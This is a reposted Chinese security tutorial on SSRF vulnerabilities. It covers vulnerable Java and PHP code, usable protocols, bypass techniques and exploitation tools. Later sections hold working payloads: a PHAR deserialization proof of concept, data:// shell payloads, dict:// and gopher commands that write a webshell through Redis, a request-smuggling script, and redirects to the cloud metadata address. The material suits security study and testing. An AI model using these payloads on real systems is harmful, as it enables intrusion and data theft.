4

SSRF漏洞基础

 3 years ago
source link: https://yanghaoi.github.io/2021/10/07/ssrf-lou-dong-ji-chu/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 简介

SSRF(Server-side request forgery,服务端跨站请求伪造)是一种 Web 安全漏洞,允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。攻击可强制让服务器链接到任意内部或者外部的其他主机,从而可能泄露服务器敏感信息或者对其他主机发起恶意请求。常见的利用方式可以探测内部网络部署的服务信息、端口开放情况,攻击一些内部的服务等。本文对SSRF的类型、协议支持、可能的产生的漏洞代码、相关利用工具进行分析整理,完善SSRF漏洞的理解和利用。

0x02 SSRF的类型

根据SSRF请求后的返回情况来看,利用SSRF可以分为三种情况:
1.回显SSRF
2.侧信息SSRF(时间延时、返回状态码等)
3.盲SSRF(完全没有回显或其他侧信息)

一般来说,完全回显的SSRF可以直观的看到SSRF产生的效果,比如很快得知内部的一些系统框架版本等信息;部分回显可能只有一些响应状态码等侧信息来判断内部网络情况;盲SSRF这种由于返回数据包中看不出来效果就只有尝试数据带外等利用方式了。

回显SSRF

有回显的SSRF是说在漏洞触发后,可以将服务器请求后的详细源码信息内容返回。以Webgoat靶场中的SSRF模块来分析,在IDEA中查看JAVA代码,其使用了java.net.URL类对外部发起请求,其关键源码和请求数据包如下:

import java.net.URL;
try (InputStream in = new URL(url).openStream()) {
     // Otherwise the \n gets escaped in the response
     html = new String(in.readAllBytes(), StandardCharsets.UTF_8).replaceAll("\n","<br>"); 
      } catch (MalformedURLException e) {
                return getFailedResult(e.getMessage());
    } catch (IOException e) {
     //in case the external site is down, the test and lesson should still be ok
     html = "<html><body>Although the http://ifconfig.pro site is down, you still managed to solve" + " this exercise the right way!</body></html>";
            }

a6ed362e91cf27c7d26794eff3b3b5f9.png

代码中对输入的URL进行限定,只允许其为http://ifconfig.pro,这里为了显示其他效果,将代码中的字符串匹配逻辑修改可以任意URL请求,将matches匹配空字符串并对判断取反:

 if (!url.matches(" ")) {
            String html;
            try (InputStream in = new URL(url).openStream()) {
                ...
            } catch {
             ....
            }

c31883f7c5cd86caeac98a046f8fba9c.png

这样一来就可以使用其他URL测试效果了,在靶场中找到触发位置拦截数据包,将URL修改成http://www.baidu.com,响应中看到获取了baidu.com的网页源码:

859117ad8f942e9c9614755b8d9d282a.png

所以这里就是一个完全回显的SSRF漏洞,提交的URL参数在服务器上使用java.net.URL类去发起请求,然后打开URL保存二进制流InputStream in = new URL(url).openStream(),最后将结果处理后返回给前端。所以在这个漏洞点关注的就是java.net.URL类使用时是否对请求的地址进行了限制。

侧信息SSRF

这种类型因为在后端进行了相应处理,无法获得完整的响应源码,只能通过后端返回状态码,请求响应延时等来判断利用结果。像上面的Demo可以修改一下模拟这个场景,成功请求返回1,失败返回0:

42a8696419d732b3b0ad462bf4fc39e0.png

请求不存在的域名导致失败,输出位置返回0:

abf886d74a0893cdd0e2a8109859b9de.png

盲SSRF

这一类就完全没有回显和侧信息来泄露SSRF利用结果,一般的可以通过带外来观察是否存在漏洞,如下使用端口监听方法,VPS上开启端口监听,在可能存在漏洞的位置写入VPS的监听地址:

13e263257c37f10c3bff1c1de2c5d71a.png

这样就在vps上观察到了来自服务器的请求。也可以使用DNSLOG判断:

d5613fa8b577a0f3f381a5587aca2a26.png

0x03 SSRF漏洞挖掘与代码审计

常见漏洞场景

SSRF漏洞产生的原因是在一些需要服务器发起请求来获取数据的情况下,代码层面没有做好限制,导致传入的地址用户可控,那么就会产生漏洞。黑盒挖掘的情况下,可以留意下列可能的场景:

  • 带有URL的参数传递
  • 参数中的图片地址
  • 端口开放情况检测
  • 数据库链接检测
  • 代码仓库的clone
  • 远程文件内容获取
  • 远程图片获取
  • 后台状态刷新
  • web hook消息同步

关注一些可能使用远程地址的功能、带有URL等关键字的参数、带远程地址的参数值等。如在gitlab中有一个从URL导入仓库的功能:

0ec1e56a23d6a2fb3e5ce9e29b0416db.png

抓包修改参数中的import_url即可发起对其他服务器的访问(这里使用了IPV6地址绕过限制进行服务器本地SSRF):

83b72ca9a2d7ec60bd35d3af430e079d.png

另外一个案例是在获取远程图片功能中,本来是只允许特定域名,但是这里未进行限制,修改地址为DNSLOG后成功收到请求:

4d1b17f0c2abdcd20aae6786539b22a5.png

JAVA中的SSRF

产生上述问题的原因都是在代码层面没有对传入的地址进行严格限制。在JAVA代码审计中,不仅要关注可能对外发起请求的类调用,也要关注一些限制措施是否存在绕过的可能,在手工审计过程中通过功能点审计一些常见的外部请求类和第三方包的使用代码,进而分析是否存在漏洞:

java.net.URL
如下webgoat靶场SSRF中的代码,使用URL类中openStream()打开远程链接的数据流:

import java.net.URL;
try {
 InputStream in = new URL(url).openStream()
} 

java.net.URLConnection
URL类的openConnection方法:

import java.net.URLConnection;
...
URLConnection urlConnection = new URL(url).openConnection();   
...

java.net.HttpURLConnection

import java.net.HttpURLConnection;
URL requrl = new URL(url);
HttpURLConnection con = (HttpURLConnection) requrl.openConnection();

java.net.http
在JDK11后开始自带,由JDK9的jdk.incubator.http迁移而来:

import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
 HttpClient client = HttpClient.newHttpClient();
                HttpRequest request = HttpRequest.newBuilder()
                        .uri(
                                java.net.URI.create("http://foo.com/"))
                        .build();
                client.sendAsync(request, HttpResponse.BodyHandlers.ofString())
                        .thenApply(HttpResponse::body)
                        .thenAccept(System.out::println)
                        .join();

Apache HttpComponents

try (CloseableHttpClient httpclient = HttpClients.createDefault()) {
...
}
httpclient.execute()
HttpPost httpPost = new HttpPost
...

okhttp
OkHttp是一个 Java 的 HTTP+SPDY 客户端开发包,同时也支持 Android,由Square 公司开源贡献。示例代码:

package okhttp3.guide;
import java.io.IOException;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class GetExample {
  final OkHttpClient client = new OkHttpClient();
  String run(String url) throws IOException {
    Request request = new Request.Builder()
        .url(url)
        .build();
    try (Response response = client.newCall(request).execute()) {
      return response.body().string();
    }
  }
  public static void main(String[] args) throws IOException {
    GetExample example = new GetExample();
    String response = example.run("https://raw.github.com/square/okhttp/master/README.md");
    System.out.println(response);
  }
}

Retrofit
Retrofit 是 Square 公司出品的默认基于 OkHttp 封装的一套 RESTful 网络请求框架,适用于 Android 和 Java 的类型安全HTTP 客户端,示例代码:

Retrofit retrofit = new Retrofit.Builder()
    .baseUrl("https://api.github.com/")
    .addConverterFactory(GsonConverterFactory.create())
    .build();

GitHubService service = retrofit.create(GitHubService.class);

RestTemplate
RestTemplate是Spring用于同步客户端HTTP访问的中心类,遵循RESTful规范,简化了与 HTTP 服务器的通信。

RestTemplate restTemplate = new RestTemplate();
        ResponseBean responseBean = restTemplate.postForObject(url, requestBean, ResponseBean.class);

OpenFeign
OpenFeign是一个声明式WebService客户端,其工作原理是将注释处理成模板化的请求,通过占位符{id}来简化API的处理,示例代码:

interface Bank {
  @RequestLine("POST /account/{id}")
  Account getAccountInfo(@Param("id") String id);
}

public class BankService {
  public static void main(String[] args) {
    Bank bank = Feign.builder()
        .decoder(new AccountDecoder())
        .options(new Request.Options(10, TimeUnit.SECONDS, 60, TimeUnit.SECONDS, true))
        .target(Bank.class, "https://api.examplebank.com");
  }
}

PHP中的SSRF

在PHP中如fsockopen()、pfsockopen()、file_get_contents()、show_source()、highlight_file()、curl_exec()、curl_multi_exec()、fopen()、readfile()、mysqli_connect()、include()、require()、file()、copy()等函数使用过程中没有很好的对参数进行限制就可能导致SSRF漏洞。可以在php.net中搜索网络请求、套接字建立、数据库链接、文件操作相关的函数,部分函数使用的示例代码如下,代码审计时可根据关键字搜索函数进行分析:

<?php
class SSRF {
    public $url;
    public $port;
    function __construct() {
        $this->url = $_GET['url'];
        $this->port = $_GET['port'];
    }
    function SSRF_fsockopen() { 
        echo "<hr>".__FUNCTION__."<br>";
        $fp = fsockopen($this->url, $this->port, $errno, $errstr, 30);
    }
    function SSRF_pfsockopen() { 
        echo "<hr>".__FUNCTION__ ;
        $fp = pfsockopen($this->url, $this->port, $errno, $errstr, 5);
    }
    function SSRF_file_get_contents(){
        echo "<hr>".__FUNCTION__."<br>";
        file_get_contents($this->url);
    }
    function SSRF_curl_exec(){
        echo "<hr>".__FUNCTION__."<br>";
        $ch = curl_init();
        // 设置 URL 和相应的选项
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        // 抓取 URL 并把它传递给浏览器
        curl_exec($ch);
        // 关闭 cURL 资源,并且释放系统资源
        curl_close($ch);
    }
    function SSRF_curl_multi_exec(){
        echo "<hr>".__FUNCTION__."<br>";
        // 创建cURL资源
        $ch1 = curl_init();
        // 设置URL和相应的选项
        curl_setopt($ch1, CURLOPT_URL, $this->url);
        curl_setopt($ch1, CURLOPT_HEADER, 0);
        // 创建批处理cURL句柄
        $mh = curl_multi_init();
        // 增加2个句柄
        curl_multi_add_handle($mh,$ch1);
        $active = null;
        // 执行批处理句柄
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        while ($active && $mrc == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $mrc = curl_multi_exec($mh, $active);
                } while ($mrc == CURLM_CALL_MULTI_PERFORM);
            }
        }
        // 关闭全部句柄
        curl_multi_remove_handle($mh, $ch1);
        curl_multi_close($mh);
    }
    function SSRF_fopen(){
        echo "<hr>".__FUNCTION__."<br>";
        fopen($this->url,"r");    
    }
    function SSRF_readfile(){
        echo "<hr>".__FUNCTION__."<br>";
        readfile($this->url);
    }
    function SSRF_mysqli_connect(){
        echo "<hr>".__FUNCTION__."<br>";
        mysqli_connect($this->url, "my_user", "my_password", "my_db");
    }
    function SSRF_include(){
        echo "<hr>".__FUNCTION__."<br>";
        include "$this->url";
    }
    function SSRF_require(){
        echo "<hr>".__FUNCTION__."<br>";
        require "$this->url";
    }
}
$S = new SSRF;
$S->SSRF_fsockopen();   //url=127.0.0.1&port=9666
$S->SSRF_pfsockopen();  //连接一直不会关闭, url=tcp://127.0.0.1&port=9666 ,可用 ssl://,tls:// 
$S->SSRF_file_get_contents();// url=http://127.0.0.1:9666/1.php
$S->SSRF_curl_exec();       //url=http://127.0.0.1:9666/1.php
$S->SSRF_curl_multi_exec(); // url=http://127.0.0.1:9666/1.php
$S->SSRF_fopen();           //配置php.ini allow_url_fopen=On,url=http://127.0.0.1:9666/1.php
$S->SSRF_readfile();       // url=http://127.0.0.1:9666/1.php
$S->SSRF_mysqli_connect(); //url=127.0.0.1:9666
$S->SSRF_include();        //配置php.ini allow_url_include=On,需要文件名为.php,url=http://127.0.0.1:9666/1.php
$S->SSRF_require();        //配置php.ini allow_url_include=On,需要文件名为.php,url=http://127.0.0.1:9666/1.php
?>

0x04 SSRF可利用的协议

JAVA-SSRF可利用的协议

在JAVA中漏洞触发点支持的协议跟JDK版本和代码配置有关,有些类方法只能使用部分协议。更多详细信息参考OWASP资料

653360e24d3790514a6876eff77a949e.png

经过测试在openjdk-JDK15中可以支持以下协议使用:http、https、ftp、file、jar、mailto*,openjdk9中移除了协议netdoc(issues),JDK8中移除了gopher协议的支持。以webgoat靶场SSRF为例测试部分协议的使用,使用file协议读取文件/列目录(file:///C:\\2.txt):

a55c4f5a2b0287f4ab2af71cd1c542d9.png

jar协议读取本地文件(jar:file:///D:\OneForAll.zip!/OneForAll/requirements.txt):

72e9f8ce10bc11dd918f3339dbb5786c.png

jar协议读取远程文件(jar:https://x.x.x/xx.zip!/file.txt),同时会下载远程文件保存在本地缓存中:

f4df4352acd32d913757c7503cdedcb4.png

java.net.HttpURLConnection类转换
之前说到部分类支持的协议会进行限制,使用了HttpURLConnection对openConnection进行类型强制转换后的请求就只支持HTTP(S):

92bafb6cbdd6274599adbfdded4c94ef.png

mailto
mailto协议可以用来发送邮件,该协议的利用需要后端配置了邮件的发送服务器和相关的支持才能正常使用,协议格式如下:

mailto:[email protected][email protected]&[email protected]
&subject=The%20subject%20of%20the%20email
&body=The%20body%20of%20the%20email
//抄送:[email protected]
//密送:[email protected]
//主题:The%20subject%20of%20the%20email
//正文:The%20body%20of%20the%20email

PHP-SSRF可利用的协议

在PHP中支持的协议:

dict:// — 词典网络协议(curl扩展支持)
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) URL
ftp:// — 访问 FTP(s) URL
php:// — 访问各种 I/O 流
zlib:// ——压缩流
data:// — 数据 (RFC 2397)
glob:// — 查找匹配模式的路径名
phar:// — PHP 存档
ssh2:// — 安全外壳 2
rar:// — RAR
ogg:// — 音频流
expect:// —— 流程交互流
gopher:// ——   https://zhuanlan.zhihu.com/p/112055947

DATA协议
data协议配合include(require) Getshell

data://text/plain,<?php%20phpinfo();
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b  (<?php phpinfo();?>,+号使用url编码)
data://image/jpeg,

49e2d53bc82df88fbccbc2fcf9a3b913.png

DICT协议
DICT协议是词典网络协议,在RFC 2009中进行描述,使用空格或者:作为分隔参数。在利用dict协议中,一行只能包括一行命令,不能输入多行命令(所以不能攻击认证的redis):

0efaa0296941bab70e196afd822e1156.png

对于<、?、: 等特殊符号需要转为对应的16进制:

<  = \x3c
? => \x3f
: => \x3a

Gopher
该协议在PHP中需要cURL扩展支持,使用curl_exec(),curl_multi_exec()函数发起请求。gopher协议格式为gopher://IP:port/_{TCP/IP数据流},开始的_字符可以随意,数据流使用URL编码,在BurpSuite中利用SSRF-Gopher发起GET/POST请求:
1.复制请求体
2.使用Burp-Decoder模块URL编码
3.替换%0a/ %0d%0a%250d%250a%25%30%64%25%30%61(换行符 %0d%0a的URL编码)

GET只需要链接地址即可:

82af4021ee8fc5ac5f7af0ea100241dc.png

POST需要包含关键请求头和POST数据:Content-Type,Content-Length,HOST,POST_DATA,将整个请求URL编码即可:

4ab536ffff2d6fdcb2d1198bf21abd04.png

需要对换行符编码替换,完成后使用Gopher发送:

cab2d0a5b91e61d9037a6866b3262cf3.png

PHAR
PHAR协议用于在PHP中解析phar文件,phar文件的meta-data字段存在反序列化漏洞,可以使用协议读取文件触发反序列化,漏洞代码:

<?php
class AnyClass{
    function __destruct()
    {
        var_dump($_this);
        eval($this -> output);
    }
}
file_get_contents($_GET["file"]);

phar文件POC:

<?php
class AnyClass{
    function __destruct()
    {
        echo $this -> output;
    }
}
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'system("whoami");';
$phar -> setMetadata($object);
$phar -> stopBuffering();

利用:

f5a1bb51129b64015ee455d8b80ddc4a.png

php://filter
读取本地文件并进行base64编码

php://filter/convert.base64-encode/resource=xx.xx
php://filter/read=convert.base64-encode/resource=xx.xx

7090bbb36129f35e85d9f1d084319f29.png

php://input
可以获取请求中的原始流,如读取POST输入流:

d0002c2998a80484097fb73f1c03a459.png

0x05 SSRF常见的绕过方法

在代码实现过程中,开发者为了防御SSRF漏洞,会对相关的请求进行验证(黑名单、白名单、正则匹配等),但是其中一些过滤代码存在绕过的可能行,这里总结一些常见的绕过方法(部分方法只能在浏览器中或需要特定语言函数实现,需要结合场景使用,如进行一些社会工程学欺骗等)。

URL中使用@

URL(Uniform Resource Locator,统一资源定位符),用于在互联网中定位数据资源,其完整格式如下

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

由格式可知,@符号之后是服务器的地址,可以用于在SSRF一些正则匹配中绕过,从而定位到@之后的服务器地址:

http://google.com:80+&@220.181.38.251:80/#[email protected]:80/

CURL带着值为qq.com:的Authorization验证头访问百度:

df256318675bbf844d7f1c41e67a46e0.png

IP的进制转换

IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。通常用“点分十进制”表示成(a.b.c.d)的形式,所以IP地址的每一段可以用其他进制来转换。 IPFuscator 工具可实现IP地址的进制转换,包括了八进制、十进制、十六进制、混合进制。在这个工具的基础上添加了IPV6的转换和版本输出的优化:
在脚本对IP进行八进制转换时,一些情况下会在字符串末尾多加一个L:

ebef0763696a578f8da207a40c0a4b9d.png

这是因为在Python下区分了int和long类型,int数据超出最大值2147483647后会表示为long类型,体现在八进制转换后的字符串末尾跟了个L:

f667f6740c6ba3fa397087900fdb6b92.png

而在python3中都使用int处理,所以可以将脚本升级到Python来用,使用2to3.py工具python3 2to3.py -w xx.py转换代码:

544129d9ff196b2905f80daa608bd0f0.png

然后可以用python3来执行,但是在使用oct()转八进制的时候,有0o标记,这种的在访问时浏览器识别不了:

dc7a34595ab480c2a18d1c39db24803c.png

使用'0{0:o}'.format(int(5))来代替oct(),修改后的源码:

35395e225c334651964ffe8f0d77fafa.png

也可以使用IPy模块进行转换:

python
import IPy
#IPv4与十进制互转
IPy.IP('127.0.0.1').int() 
IPy.IP('3689901706').strNormal() 
#16进制转换
IPy.IP('127.0.0.1').strHex()
#IPv4/6转换
IPy.IP('127.0.0.1').v46map()

本地回环地址

127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):

x86asm
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

8da64bbc49bab2a649e4532f19884baa.png

punycode转码

IDN(英语:Internationalized Domain Name,缩写:IDN)即为国际化域名,又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。包括法语、阿拉伯语、中文、斯拉夫语、泰米尔语、希伯来语或拉丁字母等非英文字母,这些文字经多字节万国码编译而成。在域名系统中,国际化域名使用Punycode转写并以美国信息交换标准代码(ASCII)字符串储存。punycode是一种表示Unicode码和ASCII码的有限的字符集,可对IDNs进行punycode转码,转码后的punycode就由26个字母+10个数字,还有“-”组成。

使用在线的编码工具测试:

4e31634ab03d3d5e49c5d668b43cc0e1.png

对正常的字母数字组成的域名,也可以使用punycode编码格式,即:

www.qq.com =>  www.xn--qq-.com

一些浏览器对正常的域名不会使用punycode解码,如Chrome,所以在Chrome中访问失败,测试了部分PHP中的函数,也会失败:

ba1ece4cd3b5208b68dcaf9e9b440cc2.png

在Firefox90.0.2中可以访问成功:

981c1f1a04eff196544caac82fc15406.gif

同形异义字攻击(IDN_homograph_attack,IDN欺骗)
同形异义字指的是形状相似但是含义不同,这样的字符如希腊、斯拉夫、亚美尼亚字母,部分字符看起来和英文字母一模一样:

西里尔字母
西里尔字母

如果使用这些字符注册域名,很容易进行欺骗攻击(点击查看详情),所以就出现了punycode转码,用来将含义特殊字符的域名编码为IDN,目前谷歌浏览器、Safari等浏览器会将存在多种语言的域名进行Punycode编码显示。

3af26b8064396062ff502384084e6736.png

但是在Firefox中的处理方式并没有很严格,如果域名主体部分全部使用某种特殊字符,如单独使用西里尔字母替换来绕过Firefox浏览器的过滤器。
在HOST中配置这样的解析,用来模拟DNS:

54a4e3268a4143a64f4a9908201fd02f.png

然后浏览器访问,可以看到地址栏显示了差不多的taobao.com。然后通过查看源码可以发现其IDN的显示(进行了Punycode编码):

132b2739aa2e86160c1be683404e6b42.png

封闭式字母数字 (Enclosed Alphanumerics)字符

封闭式字母数字是一个由字母数字组成的Unicode印刷符号块,使用这些符号块替换域名中的字母也可以被浏览器接受。在浏览器测试中只有下列单圆圈的字符可用:

①    ②    ③    ④    ⑤    ⑥    ⑦    ⑧    ⑨    ⑩    ⑪    ⑫    ⑬    ⑭    ⑮    ⑯
⑰    ⑱    ⑲    ⑳    Ⓐ    Ⓑ    Ⓒ    Ⓓ    Ⓔ    Ⓕ    Ⓖ    Ⓗ    Ⓘ    Ⓙ
Ⓚ    Ⓛ    Ⓜ    Ⓝ    Ⓞ    Ⓟ    Ⓠ    Ⓡ    Ⓢ    Ⓣ    Ⓤ    Ⓥ    Ⓦ    Ⓧ    Ⓨ    Ⓩ
ⓐ    ⓑ    ⓒ    ⓓ    ⓔ    ⓕ    ⓖ    ⓗ    ⓘ    ⓙ    ⓚ    ⓛ    ⓜ    ⓝ    ⓞ    ⓟ
ⓠ    ⓡ    ⓢ    ⓣ    ⓤ    ⓥ    ⓦ    ⓧ    ⓨ    ⓩ    ⓪    
groovy
http://①②⑦.0.0.1
http://ⒶⓟⓟⓛⒺ.ⓒⓄⓂ

浏览器访问时会自动识别成拉丁英文字符:

fbe5532be134ca0f591156e74bf2c3f4.png

Redirect(重定向)

可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、308。在github项目SSRF-Testing上可以看到已经配置好的用例:

https://ssrf.localdomain.pw/img-without-body/301-http-www.qq.com-.i.jpg

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json

服务端PHP代码如下:

<?php 
header("Location: http://www.baidu.com");
exit(); 
?>

DNS解析

配置域名的DNS解析到目标地址(A、cname等),这里有几个配置解析到任意的地址的域名:

nslookup 127.0.0.1.nip.io
nslookup owasp.org.127.0.0.1.nip.io

30b9d55e263842b3b258c1a96859aa88.png

DNS rebinding(DNS重绑定)

如果某后端代码要发起外部请求,但是不允许对内部IP进行请求,就要对解析的IP进行安全限制,整个流程中首先是要请求一次域名对解析的IP进行检测,检测通过交给后面的函数发起请求。如果在第一次请求时返回公网IP,第二次请求时返回内网IP,就可以达到攻击效果,DNS重绑定一般可用于绕过浏览器同源策略和SSRF的过滤。要使得两次请求返回不同IP需要对DNS缓存进行控制,设置DNS TTL为0,测试cloudflare并不行:

6132b3b14e7783635bd5e7962b7e4525.png

那么还可以自定义DNS服务器,这样就能方便控制每次解析的IP地址了,cloudflare中可以配置NS转发,在可控的VPS上使用SSRF-Testing项目中的dns.py脚本来处理DNS请求,执行python3 dns.py 216.58.214.206 169.254.169.254 127.0.0.1 53 localdomains.pw,在本地53端口开启DNS服务,为localdomains.pw指定两次解析IP,第一次是216.x,第二次是169.x。开启后使用nslookup 1111.localdomains.pw 127.0.0.1指定DNS服务器为127.0.0.1,查询解析记录:

f424305996dcb2c27e54bbedd301e94d.png

这样一来,使用该工具就可以很方便的控制两次解析的IP了。

点分割符号替换

在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用来代替:

avrasm
http://www。qq。com
http://www。qq。com
http://www.qq.com

利用短地址绕过

这个是利用互联网上一些网站提供的网址缩短服务进行一些黑名单绕过,其原理也是利用重定向:

f15c0cfd2a556f4d27ce6d65e8368574.png

URL十六进制编码

URL十六进制编码可被浏览器正常识别,编码脚本:

python
#-*- coding:utf-8 -*-
data = "www.qq.com";
alist = []
for x in data:
    for i in range(0, len(x), 2):
        alist.append((x[i:i+2]).encode('hex'))
print "http://%"+'%'.join(alist)

c8c11adfde12b5e17d0d5e23b2ff2d67.png

0x06 SSRF的利用实例

Redis未授权访问Getshell

PHP SSRF漏洞代码:

<?php
    $ch = curl_init();
    // 设置 URL 和相应的选项
    curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取 URL 并把它传递给浏览器
    curl_exec($ch);
    // 关闭 cURL 资源,并且释放系统资源
    curl_close($ch);

使用DICT协议利用Redis写Webshell:

#  查询信息
dict://192.168.200.97:6379/info                          
# dict://192.168.200.97:6379/auth:password (密码破解)
# 查询只读配置
dict://192.168.200.97:6379/CONFIG:GET:slave-read-only    
# 关闭只读配置
dict://192.168.200.97:6379/CONFIG:SET:slave-read-only:no   
# 查询备份目录
dict://192.168.200.97:6379/config:get:dir         
# 修改备份目录,目录值使用"",盘符中的:用16进制编码为\x3A,\ => \\ 。
dict://192.168.200.97:6379/config:set:dir:"D\x3A\\phpstudy_pro\\WWW"
# 查询备份文件名    
dict://192.168.200.97:6379/config:get:dbfilename     
# 设置备份文件名
dict://192.168.200.97:6379/config:set:dbfilename:w.php              
#设置键w的键值为16进制编码的<?php phpinfo(); ?> 
dict://192.168.200.97:6379/set:w:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e"  
# 异步保存数据
dict://192.168.200.97:6379/BGSAVE
--------------------------------- 
# 查询当前数据库key
dict://192.168.200.97:6379/DBSIZE     
# 如果脏数据过大导致webshell无法执行,可以清除当前数据库所有key(有风险)
dict://192.168.200.97:6379/flushall                         

使用Gopher协议利用Redis写Webshell:
将要执行的命令整体URL编码:

5310088417592c70510eead611e3fcc2.png

发起请求:

25700f753cf10284ca1e84ad35f9606d.png

如果SSRF的触发点错误的处理HTTP请求,那么也可以结合请求走私利用。比如python2的urllib2模块:

python
# -*- coding:utf-8 -*-
import urllib2
url = "http://127.0.0.1:6379?info HTTP/1.1\r\nflushall\r\nconfig set dir C:/\r\nconfig set dbfilename shell.php\r\nset 'webshell' '<?php phpinfo();exit(666);?>'\r\nsave\r\nQUIT\r\na:a\r\n\r\n"
html = urllib2.urlopen(url).read()
print(html)

506efa2ac99f171ea3c96a5757237ab6.png

利用redis写shell:

495fb05f23dac828ba3835bde7bd5553.png

0x07 SSRF测试工具

SSRFmap-master - 可以在一个请求包中指定SSRF的位置,工具根据模块来发送EXP,支持了下列漏洞的利用:

292f7cbbf33e6f327425ae1ef9f5f0b1.png

帮助说明如下:

4a2c9a0836d3f09355295d68673b81e3.png

SSRF-Testing-master - 常用的SSRF绕过测试

d1d2e18e21355cd082602c708d984ef6.png

redis-over-gopher - 将请求转换为gopher协议格式

97ae994b6040c78407f065ecdfaf9f37.png

0x08 参考资料

https://www.shorturl.at/
https://github.com/swisskyrepo/SSRFmap
https://github.com/cujanovic/SSRF-Testing/
https://www.xudongz.com/blog/2017/idn-phishing/
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
七大主流的HttpClient程序比较
blind-ssrf-chains


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK